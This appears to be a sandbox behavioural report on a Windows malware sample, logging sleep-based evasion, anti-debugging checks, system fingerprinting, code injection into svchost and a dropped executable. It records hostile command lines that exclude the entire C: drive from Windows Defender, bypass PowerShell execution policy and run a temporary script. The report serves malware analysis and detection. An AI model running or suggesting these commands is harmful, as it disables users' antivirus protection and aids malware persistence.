Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3758	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Window / User API: threadDelayed 1767	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Window / User API: threadDelayed 3441	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Window / User API: threadDelayed 3897	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4151	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1673	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7371	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2030	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3856
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1838

Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\wpsv.5.6.3.exe			Jump to dropped file
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\wpsv.5.6.3[1].exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep			graph_5-73746
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep			graph_5-73745

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6100	Thread sleep count: 6000 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6100	Thread sleep count: 3758 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1740	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe TID: 2128	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe TID: 2836	Thread sleep count: 282 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe TID: 4484	Thread sleep count: 1767 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe TID: 4484	Thread sleep time: -1767000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe TID: 3636	Thread sleep count: 3441 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe TID: 3636	Thread sleep time: -34410s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe TID: 4484	Thread sleep count: 3897 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe TID: 4484	Thread sleep time: -3897000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 732	Thread sleep count: 4151 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6468	Thread sleep count: 1673 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6596	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3696	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1732	Thread sleep count: 7371 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3760	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6540	Thread sleep count: 2030 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3668	Thread sleep count: 3856 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3668	Thread sleep count: 1838 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5900	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5468	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5432	Thread sleep count: 165 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4020	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

Thread sleep count: Count: 3441 delay: -10

Jump to behavior

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_0040C86C FindFirstFileW,FindClose,	0_2_0040C86C
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_0040C2A0 GetModuleHandleW,GetProcAddress,FindFirstFileW,FindClose,lstrlenW,lstrlenW,	0_2_0040C2A0
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_00650754 FindFirstFileW,SetFileAttributesW,FindNextFileW,FindClose,	0_2_00650754
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0040C86C FindFirstFileW,FindClose,	5_2_0040C86C
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0040C2A0 GetModuleHandleW,GetProcAddress,FindFirstFileW,FindClose,lstrlenW,lstrlenW,	5_2_0040C2A0
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_00650754 FindFirstFileW,SetFileAttributesW,FindNextFileW,FindClose,	5_2_00650754

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

Code function: 5_2_030780F0 wsprintfW,GetLogicalDriveStringsW,lstrcmpiW,lstrcmpiW,QueryDosDeviceW,lstrlenW,__wcsnicmp,lstrcpyW,lstrcpyW,lstrcatW,

5_2_030780F0

Source: C:\Users\user\Desktop\leBwnyHIgx.exe

Code function: 0_2_0040E56C GetSystemInfo,

0_2_0040E56C

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: leBwnyHIgx.exe, 00000005.00000002.4132915170.0000000000898000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlltrues
Source: powershell.exe, 0000000B.00000002.1781132282.00000000043C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 0000000B.00000002.1781132282.00000000043C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, leBwnyHIgx.exe, 00000000.00000002.2077337213.0000000000960000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: leBwnyHIgx.exe, 00000005.00000002.4132915170.0000000000898000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWu?M
Source: powershell.exe, 0000000B.00000002.1781132282.00000000043C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

API call chain: ExitProcess graph end node

graph_5-72390

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\leBwnyHIgx.exe

Code function: 0_2_10016A5E IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_10016A5E

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

Code function: 5_2_0308054D VirtualProtect ?,-00000001,00000104,?

5_2_0308054D

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

Code function: 5_2_03077490 wsprintfW,LoadLibraryW,GetProcAddress,MultiByteToWideChar,swprintf,RegOpenKeyExW,RegQueryValueExW,RegCloseKey,FreeLibrary,

5_2_03077490

Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_00CD0AE4 mov eax, dword ptr fs:[00000030h]	0_2_00CD0AE4
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_00D90AE4 mov eax, dword ptr fs:[00000030h]	5_2_00D90AE4
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_026C0AE4 mov eax, dword ptr fs:[00000030h]	5_2_026C0AE4
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_02EF00CD mov eax, dword ptr fs:[00000030h]	5_2_02EF00CD

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

Code function: 5_2_03076790 wsprintfW,GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,LookupAccountSidW,GetLastError,GetProcessHeap,HeapFree,

5_2_03076790

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_10016A5E IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_10016A5E
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_10016D55 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_10016D55
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_00CE6D2C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00CE6D2C
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0307DF10 Sleep,CloseHandle,GetLocalTime,wsprintfW,SetUnhandledExceptionFilter,CloseHandle,EnumWindows,EnumWindows,Sleep,EnumWindows,Sleep,CreateEventA,Sleep,RegOpenKeyExW,RegQueryValueExW,CloseHandle,Sleep,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,	5_2_0307DF10
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0307F00A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_0307F00A
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_03081F67 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_03081F67
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_02718587 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_02718587
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_02716815 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_02716815
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_10016A5E IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_10016A5E
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_10016D55 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_10016D55
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_00DA6D2C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00DA6D2C

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"	Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

Code function: 5_2_030777E0 Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread,

5_2_030777E0

Contains functionality to inject threads in other processes

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

5_2_030777E0

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread, Windows\SysWOW64\svchost.exe		5_2_030777E0
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread, Windows\System32\svchost.exe		5_2_030777E0

Source: C:\Users\user\Desktop\leBwnyHIgx.exe

Code function: 0_2_0063DDA4 ShellExecuteExW,GetLastError,MsgWaitForMultipleObjects,GetExitCodeProcess,CloseHandle,

0_2_0063DDA4

Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Process created: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe "C:\Users\user\AppData\Roaming\leBwnyHIgx.exe"	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1

Source: C:\Users\user\Desktop\leBwnyHIgx.exe

Code function: 0_2_005B20A4 InitializeSecurityDescriptor,SetSecurityDescriptorDacl,

0_2_005B20A4

Source: C:\Users\user\Desktop\leBwnyHIgx.exe

Code function: 0_2_005B1248 AllocateAndInitializeSid,GetVersion,GetModuleHandleW,GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,GetTokenInformation,EqualSid,CloseHandle,FreeSid,

0_2_005B1248

Source: leBwnyHIgx.exe, 00000005.00000002.4135196957.0000000004571000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: inProgram Manager0
Source: leBwnyHIgx.exe, 00000005.00000003.2107248320.0000000004221000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .168.2.4 0 min287400Windows 10 Pro10.0.190454HDD:1WW 223 Gb Free 168 Gb Mem: 8 Gb Free3 Gb Microsoft Basic Render Driver 0 5140 Microsoft Basic Render Driver 0 5140 Program Manager

Source: C:\Users\user\Desktop\leBwnyHIgx.exe

Code function: 0_2_004067C0 cpuid

0_2_004067C0

Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: GetUserDefaultUILanguage,GetLocaleInfoW,	0_2_0040C9BC
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: GetLocaleInfoW,	0_2_005FB6B8
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_0040BE44
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: GetUserDefaultUILanguage,GetLocaleInfoW,	5_2_0040C9BC
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: GetLocaleInfoW,	5_2_005FB6B8
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	5_2_0040BE44
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: _memset,_memset,_memset,gethostname,gethostbyname,inet_ntoa,_strcat_s,_strcat_s,inet_ntoa,_strcat_s,_strcat_s,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,GetLastInputInfo,GetTickCount,wsprintfW,wsprintfW,MultiByteToWideChar,MultiByteToWideChar,GetSystemInfo,wsprintfW,GetForegroundWindow,GetWindowTextW,lstrlenW,lstrlenW,GetModuleHandleW,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,wsprintfW,GetCurrentProcessId,OpenProcess,K32GetProcessImageFileNameW,CloseHandle,GetTickCount,__time64,__localtime64,wsprintfW,GetLocaleInfoW,GetSystemDirectoryW,GetCurrentHwProfileW,	5_2_03075430

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
